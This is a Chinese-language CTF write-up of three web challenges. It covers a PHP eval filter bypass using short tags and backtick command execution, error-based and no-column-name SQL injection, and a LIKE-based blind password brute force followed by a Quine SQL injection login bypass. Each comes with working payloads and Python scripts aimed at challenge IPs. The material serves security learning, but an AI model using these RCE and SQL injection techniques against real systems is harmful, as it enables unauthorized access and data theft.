middlerce(复现)
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
2、checkdata函数检测绕过,下面是过滤字段
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i
-
系统命令执行用反引号 `
-
eval里面用短标签 ?><?= phpinfo(); ?> 来绕过过滤echo,无法输出的情况
利用脚本如下
import requests
payload = '{"cmd":"?><?= `tail /f*`?>", "$":"'+"$"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28131/",data = {"letter":payload})
print(res.text)
join-us(复现)
知识点:报错注入 + 无列名注入
-
or被过滤用 ||代替
-
= 被过滤用like代替
-
database里面的as被过滤,通过查询一个不存在的表,通过报错获得表名
-1' || (select * from aa)#
-
column被过滤,用无列名注入
-
输出长度限制,mid函数,substr函数
下面就是常规的操作
1、爆表名payload
tt=-1' || extractvalue(1,concat(0x07, (select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'), 0x07))#
2、爆列名
column被过滤了,这里要用到无列名注入的知识
- 对一个新表起名字有三种方式
- 一种是加个括号再加个名,如 (select*from output)c 那这个查询的结果内容就被归整为一个叫做“c”的表中;
- 第二种就是直接用as,如 select output as a 那此时这个output就不叫output了,他叫 “a”;
- 第三种就是这个as可以忽略
payload如下
tt=-1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))#
3、存在输出长度的限制
substr被过滤了,用mid函数来输出
mid函数的语法
MID(str,pos)
MID(str FROM pos)
MID(str,pos,len)
MID(str FROM pos FOR len)
payload如下
tt=-1' || extractvalue(1,concat(0x07, (select data from output), 0x07))#
tt=-1' || extractvalue(1,concat(0x07, mid((select data from output),28), 0x07))#
hardsql(复现)
like模糊匹配
爆密码+Quine
1、like语法的学习
-
%
MySQL最常用的通配符,它能代表任何长度的字符串,字符串的长度为0,,类似正则的中的*号,匹配的字符串必须加单引号或双引号
-
_
只能代表单个字符,字符的长度不能为 0,如a_b可以匹配acb,adc等 -
LIKE 关键字匹配字符的时候是不区分大小写的。如果需要区分大小写,可以加入 BINARY 关键字
-
注意大小写。MySQL 默认是不区分大小写的。如果区分大小写,像“Tom”这样的数据就不能被“t%”所匹配到。
-
注意尾部空格,尾部空格会干扰通配符的匹配。例如,“T% ”就不能匹配到“Tom”。
-
注意 NULL。“%”通配符可以到匹配任意字符,但是不能匹配 NULL。
写脚本爆密码
import requests
flag = ""
Str = "1234567890qwertyuiopasdfghjklzxcvbnm"
url = "http://1.14.71.254:28616/login.php"
for i in range(40):
for j in Str:
data = {"username":"bilala","passwd":"-1'/**/or/**/passwd/**/like/**/'{}%'#".format(flag+j)}
response = requests.post(url, data=data)
if b"wrong password" in response.content:
flag = flag + j
print(flag)
break
print(flag)
登录之后看到源码
<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}
?>
2、Quine注入学习
Quine
又叫做自产生程序,在sql
注入技术中,这是一种使得输入的sql
语句和输出的sql
语句一致的技术,常用于一些特殊的登陆绕过sql
注入中
分析Quine注入的payload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#
关键函数 replace(object,search,replace)
,将object中的search字段替换成replace字段
- 解决如何让输入和输出一致
- 解决单双引号不同的情况
ps:0x、char、chr三个等价